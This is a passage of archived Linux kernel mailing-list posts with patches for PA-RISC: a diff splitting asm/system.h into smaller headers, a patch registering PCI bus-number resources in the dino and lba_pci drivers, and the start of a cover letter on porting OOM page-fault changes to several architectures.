+#define wmb()		mb()
+#define smp_mb()	mb()
+#define smp_rmb()	mb()
+#define smp_wmb()	mb()
+#define smp_read_barrier_depends()	do { } while(0)
+#define read_barrier_depends()		do { } while(0)
+
+#define set_mb(var, value)		do { var = value; mb(); } while (0)
+
+#endif /* __PARISC_BARRIER_H */
diff --git a/arch/parisc/include/asm/delay.h b/arch/parisc/include/asm/delay.h
index 7a75e98..912ee7e 100644
--- a/arch/parisc/include/asm/delay.h
+++ b/arch/parisc/include/asm/delay.h
@@ -1,7 +1,7 @@
 #ifndef _PARISC_DELAY_H
 #define _PARISC_DELAY_H
 
-#include <asm/system.h>    /* for mfctl() */
+#include <asm/special_insns.h>    /* for mfctl() */
 #include <asm/processor.h> /* for boot_cpu_data */
 
 
diff --git a/arch/parisc/include/asm/dma.h b/arch/parisc/include/asm/dma.h
index f7a18f9..fd48ae2 100644
--- a/arch/parisc/include/asm/dma.h
+++ b/arch/parisc/include/asm/dma.h
@@ -9,7 +9,6 @@
 #define _ASM_DMA_H
 
 #include <asm/io.h>		/* need byte IO */
-#include <asm/system.h>	
 
 #define dma_outb	outb
 #define dma_inb		inb
diff --git a/arch/parisc/include/asm/exec.h b/arch/parisc/include/asm/exec.h
new file mode 100644
index 0000000..6bb5af7
--- /dev/null
+++ b/arch/parisc/include/asm/exec.h
@@ -0,0 +1,6 @@
+#ifndef __PARISC_EXEC_H
+#define __PARISC_EXEC_H
+
+#define arch_align_stack(x) (x)
+
+#endif /* __PARISC_EXEC_H */
diff --git a/arch/parisc/include/asm/ldcw.h b/arch/parisc/include/asm/ldcw.h
new file mode 100644
index 0000000..d2d11b7
--- /dev/null
+++ b/arch/parisc/include/asm/ldcw.h
@@ -0,0 +1,48 @@
+#ifndef __PARISC_LDCW_H
+#define __PARISC_LDCW_H
+
+#ifndef CONFIG_PA20
+/* Because kmalloc only guarantees 8-byte alignment for kmalloc'd data,
+   and GCC only guarantees 8-byte alignment for stack locals, we can't
+   be assured of 16-byte alignment for atomic lock data even if we
+   specify "__attribute ((aligned(16)))" in the type declaration.  So,
+   we use a struct containing an array of four ints for the atomic lock
+   type and dynamically select the 16-byte aligned int from the array
+   for the semaphore.  */
+
+#define __PA_LDCW_ALIGNMENT	16
+#define __ldcw_align(a) ({					\
+	unsigned long __ret = (unsigned long) &(a)->lock[0];	\
+	__ret = (__ret + __PA_LDCW_ALIGNMENT - 1)		\
+		& ~(__PA_LDCW_ALIGNMENT - 1);			\
+	(volatile unsigned int *) __ret;			\
+})
+#define __LDCW	"ldcw"
+
+#else /*CONFIG_PA20*/
+/* From: "Jim Hull" <jim.hull of hp.com>
+   I've attached a summary of the change, but basically, for PA 2.0, as
+   long as the ",CO" (coherent operation) completer is specified, then the
+   16-byte alignment requirement for ldcw and ldcd is relaxed, and instead
+   they only require "natural" alignment (4-byte for ldcw, 8-byte for
+   ldcd). */
+
+#define __PA_LDCW_ALIGNMENT	4
+#define __ldcw_align(a) (&(a)->slock)
+#define __LDCW	"ldcw,co"
+
+#endif /*!CONFIG_PA20*/
+
+/* LDCW, the only atomic read-write operation PA-RISC has. *sigh*.  */
+#define __ldcw(a) ({						\
+	unsigned __ret;						\
+	__asm__ __volatile__(__LDCW " 0(%2),%0"			\
+		: "=r" (__ret), "+m" (*(a)) : "r" (a));		\
+	__ret;							\
+})
+
+#ifdef CONFIG_SMP
+# define __lock_aligned __attribute__((__section__(".data..lock_aligned")))
+#endif
+
+#endif /* __PARISC_LDCW_H */
diff --git a/arch/parisc/include/asm/processor.h b/arch/parisc/include/asm/processor.h
index 7213ec9..acdf4ca 100644
--- a/arch/parisc/include/asm/processor.h
+++ b/arch/parisc/include/asm/processor.h
@@ -16,7 +16,6 @@
 #include <asm/pdc.h>
 #include <asm/ptrace.h>
 #include <asm/types.h>
-#include <asm/system.h>
 #include <asm/percpu.h>
 
 #endif /* __ASSEMBLY__ */
@@ -169,6 +168,7 @@ struct thread_struct {
  * Return saved PC of a blocked thread.  This is used by ps mostly.
  */
 
+struct task_struct;
 unsigned long thread_saved_pc(struct task_struct *t);
 void show_trace(struct task_struct *task, unsigned long *stack);
 
diff --git a/arch/parisc/include/asm/psw.h b/arch/parisc/include/asm/psw.h
index 5a3e23c..ad69a35 100644
--- a/arch/parisc/include/asm/psw.h
+++ b/arch/parisc/include/asm/psw.h
@@ -59,4 +59,45 @@
 #define USER_PSW_MASK (WIDE_PSW | PSW_T | PSW_N | PSW_X | PSW_B | PSW_V | PSW_CB)
 #define USER_PSW      (PSW_C | PSW_Q | PSW_P | PSW_D | PSW_I)
 
+#ifndef __ASSEMBLY__
+
+/* The program status word as bitfields.  */
+struct pa_psw {
+	unsigned int y:1;
+	unsigned int z:1;
+	unsigned int rv:2;
+	unsigned int w:1;
+	unsigned int e:1;
+	unsigned int s:1;
+	unsigned int t:1;
+
+	unsigned int h:1;
+	unsigned int l:1;
+	unsigned int n:1;
+	unsigned int x:1;
+	unsigned int b:1;
+	unsigned int c:1;
+	unsigned int v:1;
+	unsigned int m:1;
+
+	unsigned int cb:8;
+
+	unsigned int o:1;
+	unsigned int g:1;
+	unsigned int f:1;
+	unsigned int r:1;
+	unsigned int q:1;
+	unsigned int p:1;
+	unsigned int d:1;
+	unsigned int i:1;
+};
+
+#ifdef CONFIG_64BIT
+#define pa_psw(task) ((struct pa_psw *) ((char *) (task) + TASK_PT_PSW + 4))
+#else
+#define pa_psw(task) ((struct pa_psw *) ((char *) (task) + TASK_PT_PSW))
+#endif
+
+#endif /* !__ASSEMBLY__ */
+
 #endif
diff --git a/arch/parisc/include/asm/special_insns.h b/arch/parisc/include/asm/special_insns.h
new file mode 100644
index 0000000..d306b75
--- /dev/null
+++ b/arch/parisc/include/asm/special_insns.h
@@ -0,0 +1,40 @@
+#ifndef __PARISC_SPECIAL_INSNS_H
+#define __PARISC_SPECIAL_INSNS_H
+
+#define mfctl(reg)	({		\
+	unsigned long cr;		\
+	__asm__ __volatile__(		\
+		"mfctl " #reg ",%0" :	\
+		 "=r" (cr)		\
+	);				\
+	cr;				\
+})
+
+#define mtctl(gr, cr) \
+	__asm__ __volatile__("mtctl %0,%1" \
+		: /* no outputs */ \
+		: "r" (gr), "i" (cr) : "memory")
+
+/* these are here to de-mystefy the calling code, and to provide hooks */
+/* which I needed for debugging EIEM problems -PB */
+#define get_eiem() mfctl(15)
+static inline void set_eiem(unsigned long val)
+{
+	mtctl(val, 15);
+}
+
+#define mfsp(reg)	({		\
+	unsigned long cr;		\
+	__asm__ __volatile__(		\
+		"mfsp " #reg ",%0" :	\
+		 "=r" (cr)		\
+	);				\
+	cr;				\
+})
+
+#define mtsp(gr, cr) \
+	__asm__ __volatile__("mtsp %0,%1" \
+		: /* no outputs */ \
+		: "r" (gr), "i" (cr) : "memory")
+
+#endif /* __PARISC_SPECIAL_INSNS_H */
diff --git a/arch/parisc/include/asm/spinlock.h b/arch/parisc/include/asm/spinlock.h
index 74036f4..804aa28 100644
--- a/arch/parisc/include/asm/spinlock.h
+++ b/arch/parisc/include/asm/spinlock.h
@@ -1,7 +1,6 @@
 #ifndef __ASM_SPINLOCK_H
 #define __ASM_SPINLOCK_H
 
-#include <asm/system.h>
 #include <asm/processor.h>
 #include <asm/spinlock_types.h>
 
diff --git a/arch/parisc/include/asm/switch_to.h b/arch/parisc/include/asm/switch_to.h
new file mode 100644
index 0000000..8ed8fea
--- /dev/null
+++ b/arch/parisc/include/asm/switch_to.h
@@ -0,0 +1,12 @@
+#ifndef __PARISC_SWITCH_TO_H
+#define __PARISC_SWITCH_TO_H
+
+struct task_struct;
+
+extern struct task_struct *_switch_to(struct task_struct *, struct task_struct *);
+
+#define switch_to(prev, next, last) do {			\
+	(last) = _switch_to(prev, next);			\
+} while(0)
+
+#endif /* __PARISC_SWITCH_TO_H */
diff --git a/arch/parisc/include/asm/system.h b/arch/parisc/include/asm/system.h
index b19e63a..fc2c126 100644
--- a/arch/parisc/include/asm/system.h
+++ b/arch/parisc/include/asm/system.h
@@ -1,165 +1,6 @@
-#ifndef __PARISC_SYSTEM_H
-#define __PARISC_SYSTEM_H
-
-#include <linux/irqflags.h>
-
-/* The program status word as bitfields.  */
-struct pa_psw {
-	unsigned int y:1;
-	unsigned int z:1;
-	unsigned int rv:2;
-	unsigned int w:1;
-	unsigned int e:1;
-	unsigned int s:1;
-	unsigned int t:1;
-
-	unsigned int h:1;
-	unsigned int l:1;
-	unsigned int n:1;
-	unsigned int x:1;
-	unsigned int b:1;
-	unsigned int c:1;
-	unsigned int v:1;
-	unsigned int m:1;
-
-	unsigned int cb:8;
-
-	unsigned int o:1;
-	unsigned int g:1;
-	unsigned int f:1;
-	unsigned int r:1;
-	unsigned int q:1;
-	unsigned int p:1;
-	unsigned int d:1;
-	unsigned int i:1;
-};
-
-#ifdef CONFIG_64BIT
-#define pa_psw(task) ((struct pa_psw *) ((char *) (task) + TASK_PT_PSW + 4))
-#else
-#define pa_psw(task) ((struct pa_psw *) ((char *) (task) + TASK_PT_PSW))
-#endif
-
-struct task_struct;
-
-extern struct task_struct *_switch_to(struct task_struct *, struct task_struct *);
-
-#define switch_to(prev, next, last) do {			\
-	(last) = _switch_to(prev, next);			\
-} while(0)
-
-#define mfctl(reg)	({		\
-	unsigned long cr;		\
-	__asm__ __volatile__(		\
-		"mfctl " #reg ",%0" :	\
-		 "=r" (cr)		\
-	);				\
-	cr;				\
-})
-
-#define mtctl(gr, cr) \
-	__asm__ __volatile__("mtctl %0,%1" \
-		: /* no outputs */ \
-		: "r" (gr), "i" (cr) : "memory")
-
-/* these are here to de-mystefy the calling code, and to provide hooks */
-/* which I needed for debugging EIEM problems -PB */
-#define get_eiem() mfctl(15)
-static inline void set_eiem(unsigned long val)
-{
-	mtctl(val, 15);
-}
-
-#define mfsp(reg)	({		\
-	unsigned long cr;		\
-	__asm__ __volatile__(		\
-		"mfsp " #reg ",%0" :	\
-		 "=r" (cr)		\
-	);				\
-	cr;				\
-})
-
-#define mtsp(gr, cr) \
-	__asm__ __volatile__("mtsp %0,%1" \
-		: /* no outputs */ \
-		: "r" (gr), "i" (cr) : "memory")
-
-
-/*
-** This is simply the barrier() macro from linux/kernel.h but when serial.c
-** uses tqueue.h uses smp_mb() defined using barrier(), linux/kernel.h
-** hasn't yet been included yet so it fails, thus repeating the macro here.
-**
-** PA-RISC architecture allows for weakly ordered memory accesses although
-** none of the processors use it. There is a strong ordered bit that is
-** set in the O-bit of the page directory entry. Operating systems that
-** can not tolerate out of order accesses should set this bit when mapping
-** pages. The O-bit of the PSW should also be set to 1 (I don't believe any
-** of the processor implemented the PSW O-bit). The PCX-W ERS states that
-** the TLB O-bit is not implemented so the page directory does not need to
-** have the O-bit set when mapping pages (section 3.1). This section also
-** states that the PSW Y, Z, G, and O bits are not implemented.
-** So it looks like nothing needs to be done for parisc-linux (yet).
-** (thanks to chada for the above comment -ggg)
-**
-** The __asm__ op below simple prevents gcc/ld from reordering
-** instructions across the mb() "call".
-*/
-#define mb()		__asm__ __volatile__("":::"memory")	/* barrier() */
-#define rmb()		mb()
-#define wmb()		mb()
-#define smp_mb()	mb()
-#define smp_rmb()	mb()
-#define smp_wmb()	mb()
-#define smp_read_barrier_depends()	do { } while(0)
-#define read_barrier_depends()		do { } while(0)
-
-#define set_mb(var, value)		do { var = value; mb(); } while (0)
-
-#ifndef CONFIG_PA20
-/* Because kmalloc only guarantees 8-byte alignment for kmalloc'd data,
-   and GCC only guarantees 8-byte alignment for stack locals, we can't
-   be assured of 16-byte alignment for atomic lock data even if we
-   specify "__attribute ((aligned(16)))" in the type declaration.  So,
-   we use a struct containing an array of four ints for the atomic lock
-   type and dynamically select the 16-byte aligned int from the array
-   for the semaphore.  */
-
-#define __PA_LDCW_ALIGNMENT	16
-#define __ldcw_align(a) ({					\
-	unsigned long __ret = (unsigned long) &(a)->lock[0];	\
-	__ret = (__ret + __PA_LDCW_ALIGNMENT - 1)		\
-		& ~(__PA_LDCW_ALIGNMENT - 1);			\
-	(volatile unsigned int *) __ret;			\
-})
-#define __LDCW	"ldcw"
-
-#else /*CONFIG_PA20*/
-/* From: "Jim Hull" <jim.hull of hp.com>
-   I've attached a summary of the change, but basically, for PA 2.0, as
-   long as the ",CO" (coherent operation) completer is specified, then the
-   16-byte alignment requirement for ldcw and ldcd is relaxed, and instead
-   they only require "natural" alignment (4-byte for ldcw, 8-byte for
-   ldcd). */
-
-#define __PA_LDCW_ALIGNMENT	4
-#define __ldcw_align(a) (&(a)->slock)
-#define __LDCW	"ldcw,co"
-
-#endif /*!CONFIG_PA20*/
-
-/* LDCW, the only atomic read-write operation PA-RISC has. *sigh*.  */
-#define __ldcw(a) ({						\
-	unsigned __ret;						\
-	__asm__ __volatile__(__LDCW " 0(%2),%0"			\
-		: "=r" (__ret), "+m" (*(a)) : "r" (a));		\
-	__ret;							\
-})
-
-#ifdef CONFIG_SMP
-# define __lock_aligned __attribute__((__section__(".data..lock_aligned")))
-#endif
-
-#define arch_align_stack(x) (x)
-
-#endif
+/* FILE TO BE DELETED. DO NOT ADD STUFF HERE! */
+#include <asm/barrier.h>
+#include <asm/exec.h>
+#include <asm/ldcw.h>
+#include <asm/special_insns.h>
+#include <asm/switch_to.h>
diff --git a/arch/parisc/include/asm/thread_info.h b/arch/parisc/include/asm/thread_info.h
index 6d9c7c7..83ae7dd 100644
--- a/arch/parisc/include/asm/thread_info.h
+++ b/arch/parisc/include/asm/thread_info.h
@@ -5,6 +5,7 @@
 
 #ifndef __ASSEMBLY__
 #include <asm/processor.h>
+#include <asm/special_insns.h>
 
 struct thread_info {
 	struct task_struct *task;	/* main task structure */
diff --git a/arch/parisc/include/asm/timex.h b/arch/parisc/include/asm/timex.h
index 3b68d77..2bd51f6 100644
--- a/arch/parisc/include/asm/timex.h
+++ b/arch/parisc/include/asm/timex.h
@@ -6,7 +6,6 @@
 #ifndef _ASMPARISC_TIMEX_H
 #define _ASMPARISC_TIMEX_H
 
-#include <asm/system.h>
 
 #define CLOCK_TICK_RATE	1193180 /* Underlying HZ */
 
diff --git a/arch/parisc/include/asm/uaccess.h b/arch/parisc/include/asm/uaccess.h
index ff4cf9d..9ac0660 100644
--- a/arch/parisc/include/asm/uaccess.h
+++ b/arch/parisc/include/asm/uaccess.h
@@ -5,7 +5,6 @@
  * User space memory access functions
  */
 #include <asm/page.h>
-#include <asm/system.h>
 #include <asm/cache.h>
 #include <asm/errno.h>
 #include <asm-generic/uaccess-unaligned.h>
diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index 83335f3..9d18189 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -22,7 +22,6 @@
 #include <asm/cache.h>
 #include <asm/cacheflush.h>
 #include <asm/tlbflush.h>
-#include <asm/system.h>
 #include <asm/page.h>
 #include <asm/pgalloc.h>
 #include <asm/processor.h>
diff --git a/arch/parisc/kernel/firmware.c b/arch/parisc/kernel/firmware.c
index 4896ed0..f65fa48 100644
--- a/arch/parisc/kernel/firmware.c
+++ b/arch/parisc/kernel/firmware.c
@@ -67,7 +67,6 @@
 #include <asm/page.h>
 #include <asm/pdc.h>
 #include <asm/pdcpat.h>
-#include <asm/system.h>
 #include <asm/processor.h>	/* for boot_cpu_data */
 
 static DEFINE_SPINLOCK(pdc_lock);
diff --git a/arch/parisc/kernel/pci.c b/arch/parisc/kernel/pci.c
index 9efd974..4f0cf0c 100644
--- a/arch/parisc/kernel/pci.c
+++ b/arch/parisc/kernel/pci.c
@@ -16,7 +16,6 @@
 #include <linux/types.h>
 
 #include <asm/io.h>
-#include <asm/system.h>
 #include <asm/superio.h>
 
 #define DEBUG_RESOURCES 0
diff --git a/arch/parisc/kernel/ptrace.c b/arch/parisc/kernel/ptrace.c
index 2905b1f..857c2f5 100644
--- a/arch/parisc/kernel/ptrace.c
+++ b/arch/parisc/kernel/ptrace.c
@@ -22,7 +22,6 @@
 
 #include <asm/uaccess.h>
 #include <asm/pgtable.h>
-#include <asm/system.h>
 #include <asm/processor.h>
 #include <asm/asm-offsets.h>
 
diff --git a/arch/parisc/kernel/smp.c b/arch/parisc/kernel/smp.c
index 32d5884..5006e8e 100644
--- a/arch/parisc/kernel/smp.c
+++ b/arch/parisc/kernel/smp.c
@@ -32,7 +32,6 @@
 #include <linux/bitops.h>
 #include <linux/ftrace.h>
 
-#include <asm/system.h>
 #include <linux/atomic.h>
 #include <asm/current.h>
 #include <asm/delay.h>
diff --git a/arch/parisc/kernel/traps.c b/arch/parisc/kernel/traps.c
index f19e660..45ba99f 100644
--- a/arch/parisc/kernel/traps.c
+++ b/arch/parisc/kernel/traps.c
@@ -27,7 +27,6 @@
 #include <linux/bug.h>
 
 #include <asm/assembly.h>
-#include <asm/system.h>
 #include <asm/uaccess.h>
 #include <asm/io.h>
 #include <asm/irq.h>
diff --git a/arch/parisc/lib/bitops.c b/arch/parisc/lib/bitops.c
index a8bffd8..1871188 100644
--- a/arch/parisc/lib/bitops.c
+++ b/arch/parisc/lib/bitops.c
@@ -8,7 +8,6 @@
 
 #include <linux/kernel.h>
 #include <linux/spinlock.h>
-#include <asm/system.h>
 #include <linux/atomic.h>
 
 #ifdef CONFIG_SMP


From - Thu Nov 08 21:08:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Yinghai Lu <yinghai@kernel.org>
Newsgroups: gmane.linux.kernel.pci,gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc
Subject: [PATCH -v11 16/30] PCI, parisc: Register busn_res for root buses
Date: Sun, 18 Mar 2012 22:42:47 -0700
Lines: 49
Approved: news@gmane.org
Message-ID: <1332135781-13695-17-git-send-email-yinghai@kernel.org>
References: <1332135781-13695-1-git-send-email-yinghai@kernel.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: dough.gmane.org 1332135975 23118 80.91.229.3 (19 Mar 2012 05:46:15 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 19 Mar 2012 05:46:15 +0000 (UTC)
Cc: Bjorn Helgaas <bhelgaas@google.com>,
	Dominik Brodowski <linux@dominikbrodowski.net>,
	Andrew Morton <akpm@linux-foundation.org>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	linux-pci@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-arch@vger.kernel.org, Yinghai Lu <yinghai@kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	linux-parisc@vger.kernel.org
To: Jesse Barnes <jbarnes@virtuousgeek.org>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Tony Luck <tony.luck@intel.com>,
	David Miller <davem@davemloft.net>, x86 <x86@kernel.org>
Original-X-From: linux-pci-owner@vger.kernel.org Mon Mar 19 06:46:11 2012
Return-path: <linux-pci-owner@vger.kernel.org>
Envelope-to: glp-linux-pci@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-pci-owner@vger.kernel.org>)
	id 1S9VQ2-0005uK-GD
	for glp-linux-pci@plane.gmane.org; Mon, 19 Mar 2012 06:46:10 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1030597Ab2CSFpe (ORCPT <rfc822;glp-linux-pci@m.gmane.org>);
	Mon, 19 Mar 2012 01:45:34 -0400
Original-Received: from rcsinet15.oracle.com ([148.87.113.117]:29872 "EHLO
	rcsinet15.oracle.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1758097Ab2CSFpc (ORCPT
	<rfc822;linux-pci@vger.kernel.org>); Mon, 19 Mar 2012 01:45:32 -0400
Original-Received: from ucsinet22.oracle.com (ucsinet22.oracle.com [156.151.31.94])
	by rcsinet15.oracle.com (Sentrion-MTA-4.2.2/Sentrion-MTA-4.2.2) with ESMTP id q2J5jB0x021374
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Mon, 19 Mar 2012 05:45:12 GMT
Original-Received: from acsmt357.oracle.com (acsmt357.oracle.com [141.146.40.157])
	by ucsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id q2J5jAJV023981
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Mon, 19 Mar 2012 05:45:10 GMT
Original-Received: from abhmt101.oracle.com (abhmt101.oracle.com [141.146.116.53])
	by acsmt357.oracle.com (8.12.11.20060308/8.12.11) with ESMTP id q2J5j9fx021174;
	Mon, 19 Mar 2012 00:45:09 -0500
Original-Received: from linux-siqj.site (/75.36.254.161)
	by default (Oracle Beehive Gateway v4.0)
	with ESMTP ; Sun, 18 Mar 2012 22:45:09 -0700
X-Mailer: git-send-email 1.7.7
In-Reply-To: <1332135781-13695-1-git-send-email-yinghai@kernel.org>
X-Source-IP: ucsinet22.oracle.com [156.151.31.94]
X-CT-RefId: str=0001.0A090206.4F66C7E9.0058,ss=1,re=0.000,fgs=0
Original-Sender: linux-pci-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-pci.vger.kernel.org>
X-Mailing-List: linux-pci@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.pci:14350 gmane.linux.kernel:1269317 gmane.linux.kernel.cross-arch:13308 gmane.linux.ports.parisc:4230
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.pci/14350>

Signed-off-by: Yinghai Lu <yinghai@kernel.org>
Cc: Kyle McMartin <kyle@mcmartin.ca>
Cc: Helge Deller <deller@gmx.de>
Cc: linux-parisc@vger.kernel.org
---
 drivers/parisc/dino.c    |    5 +++++
 drivers/parisc/lba_pci.c |    3 +++
 2 files changed, 8 insertions(+), 0 deletions(-)

diff --git a/drivers/parisc/dino.c b/drivers/parisc/dino.c
index 0610e91..def94af 100644
--- a/drivers/parisc/dino.c
+++ b/drivers/parisc/dino.c
@@ -984,6 +984,10 @@ static int __init dino_probe(struct parisc_device *dev)
 	if (dino_dev->hba.gmmio_space.flags)
 		pci_add_resource(&resources, &dino_dev->hba.gmmio_space);
 
+	dino_dev->hba.bus_num.start = dino_current_bus;
+	dino_dev->hba.bus_num.end = 255;
+	dino_dev->hba.bus_num.flags |= IORESOURCE_BUS;
+	pci_add_resource(&resources, &dino_dev->hba.bus_num);
 	/*
 	** It's not used to avoid chicken/egg problems
 	** with configuration accessor functions.
@@ -999,6 +1003,7 @@ static int __init dino_probe(struct parisc_device *dev)
 		return 0;
 	}
 
+	pci_bus_update_busn_res_end(bus, bus->subordinate);
 	bus->subordinate = pci_scan_child_bus(bus);
 
 	/* This code *depends* on scanning being single threaded
diff --git a/drivers/parisc/lba_pci.c b/drivers/parisc/lba_pci.c
index e885764..df1e9f9 100644
--- a/drivers/parisc/lba_pci.c
+++ b/drivers/parisc/lba_pci.c
@@ -1503,6 +1503,9 @@ lba_driver_probe(struct parisc_device *dev)
 	if (lba_dev->hba.gmmio_space.flags)
 		pci_add_resource(&resources, &lba_dev->hba.gmmio_space);
 
+	lba_dev->hba.bus_num.flags |= IORESOURCE_BUS;
+	pci_add_resource(&resources, &lba_dev->hba.bus_num);
+
 	dev->dev.platform_data = lba_dev;
 	lba_bus = lba_dev->hba.hba_bus =
 		pci_create_root_bus(&dev->dev, lba_dev->hba.bus_num.start,
-- 
1.7.7


From - Thu Nov 08 21:08:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kautuk Consul <consul.kautuk@gmail.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel,gmane.linux.ports.openrisc,gmane.linux.uclinux.microblaze,gmane.linux.ports.ia64,gmane.linux.ports.hexagon,gmane.linux.ports.sh.devel,gmane.linux.ports.parisc,gmane.linux.ports.sparc,gmane.linux.kernel
Subject: [PATCH 0/20] mmu: arch/mm: Port OOM changes to arch page fault handlers.
Date: Tue, 20 Mar 2012 09:18:14 -0400
Lines: 113
Approved: news@gmane.org
Message-ID: <CAFPAmTQs9dOpQTaXU=6Or66YU+my_CnPw33TE4h++YArBNa38g@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary=0016368e2a82ddd5fa04bbac811c
X-Trace: dough.gmane.org 1332249501 5547 80.91.229.3 (20 Mar 2012 13:18:21 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 20 Mar 2012 13:18:21 +0000 (UTC)
Cc: linux-mm@kvack.org, linux-kernel@vger.kernel.org
To: linux-alpha@vger.kernel.org, linuxppc-dev@lists.ozlabs.org, 
	linux@lists.openrisc.net, linux-am33-list@redhat.com, 
	microblaze-uclinux@itee.uq.edu.au, linux-m68k@lists.linux-m68k.org, 
	linux-m32r-ja@ml.linux-m32r.org, linux-ia64@vger.kernel.org, 
	linux-hexagon@vger.kernel.org, linux-cris-kernel@axis.com, 
	linux-sh@vger.kernel.org, linux-parisc@vger.kernel.org, 
	sparclinux@vger.kernel.org
Original-X-From: owner-linux-mm@kvack.org Tue Mar 20 14:18:18 2012
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1S9yx7-0005vJ-GP
	for glkm-linux-mm-2@m.gmane.org; Tue, 20 Mar 2012 14:18:17 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id 817E76B007E; Tue, 20 Mar 2012 09:18:16 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 7C7F36B0083; Tue, 20 Mar 2012 09:18:16 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 649AC6B0092; Tue, 20 Mar 2012 09:18:16 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
Delivered-To: linux-mm@kvack.org
Original-Received: from psmtp.com (na3sys010amx110.postini.com [74.125.245.110])
	by kanga.kvack.org (Postfix) with SMTP id 5A1606B007E
	for <linux-mm@kvack.org>; Tue, 20 Mar 2012 09:18:15 -0400 (EDT)
Original-Received: from mail-yw0-f41.google.com ([209.85.213.41]) (using TLSv1) by na3sys010amx110.postini.com ([74.125.244.10]) with SMTP;
	Tue, 20 Mar 2012 13:18:15 GMT
Original-Received: by yhr47 with SMTP id 47so30192yhr.14
        for <linux-mm@kvack.org>; Tue, 20 Mar 2012 06:18:14 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:date:message-id:subject:from:to:cc:content-type;
        bh=B8OjEgkd7jyOlanjtatmkQ3YQi74mRqL9S00gOQLO60=;
        b=XzupTDJKCCgKdIo17xO8xFCyu5qeU/t9aPH6D0IhYT3lNXfkAw/uWsIvw8YN4Qzn8k
         aKRQ7wUWz0lYWKXdQHaMRckKBpOUeskuJIxZ2shWQuBmzK6vEsWMrr6i5Y8dJM398U7g
         soX9HfzNWTfyfxqwgHZOAm9ND3neYhmNE7n/nHuETA5w8Y7Ljf6bZ9j4ZNuIPaDu+gSn
         IA8hUs2nCfKx2p38BKCsgR/qewWyLOXQj+OvTET+pv7hSDzhpzdPrtccsNEdXgWHrHcr
         4gODctQl0XRtM/+6GECvRKasVn8wgNA66E2cAe1tgpypWAR2hmoy51p/HOPgnlFVSl3n
         j5TQ==
Original-Received: by 10.101.3.22 with SMTP id f22mr5149427ani.2.1332249494410; Tue, 20
 Mar 2012 06:18:14 -0700 (PDT)
Original-Received: by 10.146.167.12 with HTTP; Tue, 20 Mar 2012 06:18:14 -0700 (PDT)
X-pstn-levels: (S:77.73386/99.90000 CV:99.9000 FC:95.5390 LC:95.5390 R:95.9108 P:95.9108 M:97.0282 C:98.6951 )
X-pstn-dkim: 1 skipped:not-enabled
X-pstn-settings: 3 (1.0000:0.1000) s cv GT3 gt2 gt1 r p m c 
X-pstn-addresses: from <consul.kautuk@gmail.com> [db-null] 
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.2
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:75622 gmane.linux.ports.alpha:1721 gmane.linux.ports.ppc64.devel:81086 gmane.linux.ports.openrisc:82 gmane.linux.uclinux.microblaze:11792 gmane.linux.ports.ia64:22117 gmane.linux.ports.hexagon:386 gmane.linux.ports.sh.devel:14039 gmane.linux.ports.parisc:4231 gmane.linux.ports.sparc:15902 gmane.linux.kernel:1270227
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/75622>

--0016368e2a82ddd5fa04bbac811c
Content-Type: text/plain; charset=ISO-8859-1

Commit d065bd810b6deb67d4897a14bfe21f8eb526ba99
(mm: retry page fault when blocking on disk transfer) and
commit 37b23e0525d393d48a7d59f870b3bc061a30ccdb
(x86,mm: make pagefault killable)

The above commits introduced changes into the x86 pagefault handler
for making the page fault handler retryable as well as killable.

These changes reduce the mmap_sem hold time, which is crucial
during OOM killer invocation.

I was facing hang and livelock problems on my ARM and MIPS boards when
I invoked OOM by running the stress_32k.c test-case attached to this email.

Since both the ARM and MIPS porting chainges were accepted, me and my
